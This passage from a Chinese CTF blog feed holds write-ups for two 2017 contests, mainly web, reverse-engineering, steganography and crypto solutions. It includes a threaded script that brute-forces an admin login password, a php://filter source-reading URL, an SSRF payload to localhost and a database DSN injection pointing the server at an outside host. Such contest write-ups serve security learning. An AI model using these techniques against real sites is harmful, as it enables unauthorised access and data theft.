class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url=<span class="string">'http://ctf1.shiyanbar.com/shian-s/index.php'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyThread</span><span class="params">(threading.Thread)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, arg)</span>:</span></span><br><span class="line"> super(MyThread, self).__init__()</span><br><span class="line"> self.arg = arg</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">for</span> site <span class="keyword">in</span> self.arg:</span><br><span class="line"> scan(site)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">scan</span><span class="params">(i)</span>:</span></span><br><span class="line"> <span class="keyword">print</span> i</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> r1=r.session()</span><br><span class="line"> r3=r1.get(url)</span><br><span class="line"> ss=re.findall(<span class="string">r'type="text"><br><br>(.*?)<br><br>'</span>,r3.text)</span><br><span class="line"> url1=url+<span class="string">'?username=admin&password='</span>+i+<span class="string">'&randcode='</span>+ss[<span class="number">0</span>]</span><br><span class="line"> r2=r1.get(url1)</span><br><span class="line"> r2.encoding = <span class="string">'utf-8'</span></span><br><span class="line"> <span class="comment">#print r2.text</span></span><br><span class="line"> <span class="keyword">if</span> len(r2.text)!=<span class="number">146</span>:</span><br><span class="line"> <span class="keyword">print</span> r2.text,url1</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> thread_num=<span class="number">100</span></span><br><span class="line"> site = [[] * <span class="number">1005</span> <span class="keyword">for</span> i <span class="keyword">in</span> range(thread_num)]</span><br><span class="line"> threads = []</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">100000</span>):</span><br><span class="line"> j = i % thread_num</span><br><span class="line"> s = <span class="string">'%05d'</span> % i</span><br><span class="line"> site[j].append(s)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> site:</span><br><span class="line"> t = MyThread(i)</span><br><span class="line"> threads.append(t)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> threads:</span><br><span class="line"> i.setDaemon(<span class="literal">True</span>)</span><br><span class="line"> i.start()</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> threads: </span><br><span class="line"> i.join()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><br>跑出来密码为<code>00325</code><br><code>flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}</code></p>
<h2 id="admin"><a href="#admin" class="headerlink" title="admin"></a>admin</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-du/</span><br></pre></td></tr></table></figure>
<p><code>php伪协议php://input</code>通过第一个if<br>再利用<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php</span><br></pre></td></tr></table></figure><br>读取index.php和class.php源码<br>提示flag在<code>f1a9.php</code>中,f1a9被过滤了,于是构造<code>反序列化</code>字符串读取flag,听说大佬们用这个直接读取了其他web题的flag,膜<br><img src="/img/2017-sab-web5.png" alt=""><br><code>flag_Xd{hSh_ctf:e@syt0g3t}</code> </p>
<h1 id="逆向"><a href="#逆向" class="headerlink" title="逆向"></a>逆向</h1><h2 id="Console"><a href="#Console" class="headerlink" title="Console"></a>Console</h2><p>PEID查出来是<code>C#</code>写的,ILSpy反编译得到源码<br><img src="/img/2017-sab-re1.png" alt=""><br>将代码取出来编译运行,输出string b得到flag<br><code>flag{967DDDFBCD32C1F53527C221D9E40A0B}</code></p>
<h2 id="android"><a href="#android" class="headerlink" title="android"></a>android</h2><p>参考:<br><a href="https://ctf.rip/bsides-sf-ctf-2017-flag-receiver-mobile-reverse-engineering/" target="_blank" rel="noopener">https://ctf.rip/bsides-sf-ctf-2017-flag-receiver-mobile-reverse-engineering/</a><br><code>TheseIntentsAreFunAndEasyToUse</code></p>
<h2 id="简单算法"><a href="#简单算法" class="headerlink" title="简单算法"></a>简单算法</h2><p>队友做的</p>
<h1 id="隐写"><a href="#隐写" class="headerlink" title="隐写"></a>隐写</h1><h2 id="low"><a href="#low" class="headerlink" title="low"></a>low</h2><p>把bmp保存为<code>png</code>,Stegsolve.jar打开,扫描二维码<br><img src="/img/2017-sab-ste1.png" alt=""><br><code>flag{139711e8e9ed545e}</code></p>
<h2 id="斑马斑马"><a href="#斑马斑马" class="headerlink" title="斑马斑马"></a>斑马斑马</h2><p>用ps处理,提取出<code>条形码</code>部分,用qq扫描得到flag<br><img src="/img/2017-sab-ste2.png" alt=""><br><code>Tenshine</code></p>
<h2 id="CreateByWho"><a href="#CreateByWho" class="headerlink" title="CreateByWho"></a>CreateByWho</h2><p>拼二维码,需要补<code>三块回型</code>的块<br><img src="/img/2017-sab-ste3.png" alt=""><br><code>Create-By-SimpleLab</code></p>
<h2 id="适合作为桌面的图片"><a href="#适合作为桌面的图片" class="headerlink" title="适合作为桌面的图片"></a>适合作为桌面的图片</h2><p>Stegsolve.jar打开,扫二维码,保存为<code>pyc</code>,<code>反编译</code>后运行得到flag<br><img src="/img/2017-sab-ste4.png" alt=""><br><code>flag{38a57032085441e7}</code></p>
<h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h2 id="reverseMe"><a href="#reverseMe" class="headerlink" title="reverseMe"></a>reverseMe</h2><p>winhex打开后在尾部发现<code>photoshop</code>字样,不过是倒序的,写个py脚本倒序保存得到图片,再用ps处理得到flag<br><img src="/img/2017-sab-misc1.png" alt=""><br><code>flag{4f7548f93c7bef1dc6a0542cf04e796e}</code></p>
<h2 id="珍妮的qq号"><a href="#珍妮的qq号" class="headerlink" title="珍妮的qq号"></a>珍妮的qq号</h2><p>数学题,也可以写个py跑一下就出来了<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># by:xishir</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">10000</span>,<span class="number">100000</span>):</span><br><span class="line"> j=i*<span class="number">4</span></span><br><span class="line"> <span class="keyword">if</span> j<<span class="number">100000</span>:</span><br><span class="line"> si=str(i)</span><br><span class="line"> sj=str(j)</span><br><span class="line"> <span class="keyword">if</span> si[<span class="number">0</span>]==sj[<span class="number">4</span>] <span class="keyword">and</span> si[<span class="number">1</span>]==sj[<span class="number">3</span>] <span class="keyword">and</span> si[<span class="number">2</span>]==sj[<span class="number">2</span>] <span class="keyword">and</span> si[<span class="number">3</span>]==sj[<span class="number">1</span>] <span class="keyword">and</span> si[<span class="number">4</span>]==sj[<span class="number">0</span>]:</span><br><span class="line"> <span class="keyword">print</span> j</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure></p>
<h2 id="心仪的公司"><a href="#心仪的公司" class="headerlink" title="心仪的公司"></a>心仪的公司</h2><p>wireshark打开,追踪http流找到flag<br><img src="/img/2017-sab-misc3.png" alt=""><br><code>fl4g:{ftop_Is_Waiting_4_y}</code></p>
<h1 id="密码学"><a href="#密码学" class="headerlink" title="密码学"></a>密码学</h1><h2 id="rsa"><a href="#rsa" class="headerlink" title="rsa"></a>rsa</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">c= <span class="number">2044619806634581710230401748541393297937319</span> </span><br><span class="line">n= <span class="number">92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> libnum</span><br><span class="line"><span class="keyword">for</span> e <span class="keyword">in</span> range(<span class="number">2</span>,<span class="number">10</span>):</span><br><span class="line"> m = libnum.nroot(c,e)</span><br><span class="line"> <span class="keyword">if</span> m**e==c:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"e:"</span>,e</span><br><span class="line"><span class="keyword">print</span> <span class="string">"m:"</span>,m</span><br><span class="line">flag = libnum.n2s(m)</span><br><span class="line"><span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure>
<p><code>so_low</code></p>
]]></content>
<summary type="html">
<p>emmmmmmmm,关于比赛质量问题,出门左转<a href="https://www.zhihu.com/question/66360616" target="_blank" rel="noopener">知乎</a>,出门右转<a href="https://ctfrank.org/events/39" target="_blank" rel="noopener">ctfrank</a><br>昨天竟然接到了决赛通知电话,考虑到各种问题,最后还是弃权了<br>以下是线上赛wp<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
</entry>
<entry>
<title>2017 ISG信息安全技能大赛线上赛 WriteUp</title>
<link href="https://www.codemonster.cn/2017/08/31/2017-isg-writeup/"/>
<id>https://www.codemonster.cn/2017/08/31/2017-isg-writeup/</id>
<published>2017-08-31T15:05:27.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<h2 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h2><p>加群在公告得到一串字符,16进制转字符串得到flag<br><a id="more"></a></p>
<h2 id="ISGCoinMarket"><a href="#ISGCoinMarket" class="headerlink" title="ISGCoinMarket"></a>ISGCoinMarket</h2><p>很有意思的题,初始给你1元人民币和0.0056个ISG币,你可以发布交易,也可以和别人交易,通过交易得到2000人民币和2000ISG币即可得到flag。</p>
<p>这里主要是没有限制负数,我的解法是创建4个号</p>
<p>u1->u2 把u1的ISG币刷到4000000,汇率为0.0059,可以看作<code>u1低价买入ISG</code></p>
<p>u3->u4 把u3的ISG币刷到40000000,人民币为负数,u4则相反</p>
<p>然后利用u4的人民币去买u1的ISG,汇率位0.0054,可以看作<code>u1高价卖出ISG</code></p>
<p>一买一卖u1就挣到了足够的钱</p>
<p><img src="/img/2017isg1.png" alt=""> </p>
<h2 id="Remix"><a href="#Remix" class="headerlink" title="Remix"></a>Remix</h2><p>可以读取图片并base64解码,并不知道后台逻辑,右键查看源代码提示flag在7827端口(我也不记得是不是这个端口),于是想到SSRF,构造<br><code>?targe=http://localhost:7827</code>,<br>将得到的base64解码即可得到flag</p>
<h2 id="wmwcms"><a href="#wmwcms" class="headerlink" title="wmwcms"></a>wmwcms</h2><p>robots.txt提示给了个rar,下载下来是网站源码,审计发现连接数据库时存在注入,<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">include_once</span> <span class="string">'func.php'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_REQUEST[<span class="string">'dsn'</span>])){</span><br><span class="line"> $dsn = $_REQUEST[<span class="string">'dsn'</span>];</span><br><span class="line">} <span class="keyword">else</span>{</span><br><span class="line"> $dsn = <span class="string">"wmwcms"</span>;</span><br><span class="line">}</span><br><span class="line">$dsn = <span class="string">"mysql:dbname={$dsn}"</span>;</span><br><span class="line">$username = <span class="string">'wmwcms'</span>;</span><br><span class="line">$password = <span class="string">'%glVYKTkLtQ22'</span>;</span><br><span class="line">$options = <span class="keyword">array</span>(</span><br><span class="line"> PDO::MYSQL_ATTR_INIT_COMMAND => <span class="string">'SET names utf8'</span>,</span><br><span class="line"> );</span><br><span class="line">$dbh = <span class="keyword">new</span> PDO($dsn, $username, $password, $options);</span><br></pre></td></tr></table></figure><br>第8行的数据库连接可以由用户控制,于是我们在远程服务器搭建相同的数据库、用户密码也相同、表名和字段也相同,然后构造<br><code>dsn=wmwcms;8.8.8.8</code><br>即可让这道题连接到你的服务器,然后使用<code>action=img</code>读取数据库中<code>portrait</code>字段所在位置的文件,即可读取到flag</p>
<h2 id="BMP-Wannacry-2"><a href="#BMP-Wannacry-2" class="headerlink" title="BMP Wannacry-2"></a>BMP Wannacry-2</h2><p>大佬说是<code>bmp隐写</code>,没做出来,留坑待填</p>
<p><a href="https://doegox.github.io/ElectronicColoringBook/" target="_blank" rel="noopener">https://doegox.github.io/ElectronicColoringBook/</a></p>
<h2 id="感想"><a href="#感想" class="headerlink" title="感想"></a>感想</h2><p>这个比赛难度中上,参赛对象为各大企业安全团队,看到了许多大佬,膜</p>
<p><img src="/img/2017isg2.png" alt=""></p>
]]></content>
<summary type="html">
<h2 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h2><p>加群在公告得到一串字符,16进制转字符串得到flag<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="审计" scheme="https://www.codemonster.cn/tags/%E5%AE%A1%E8%AE%A1/"/>
<category term="注入" scheme="https://www.codemonster.cn/tags/%E6%B3%A8%E5%85%A5/"/>
</entry>
</feed>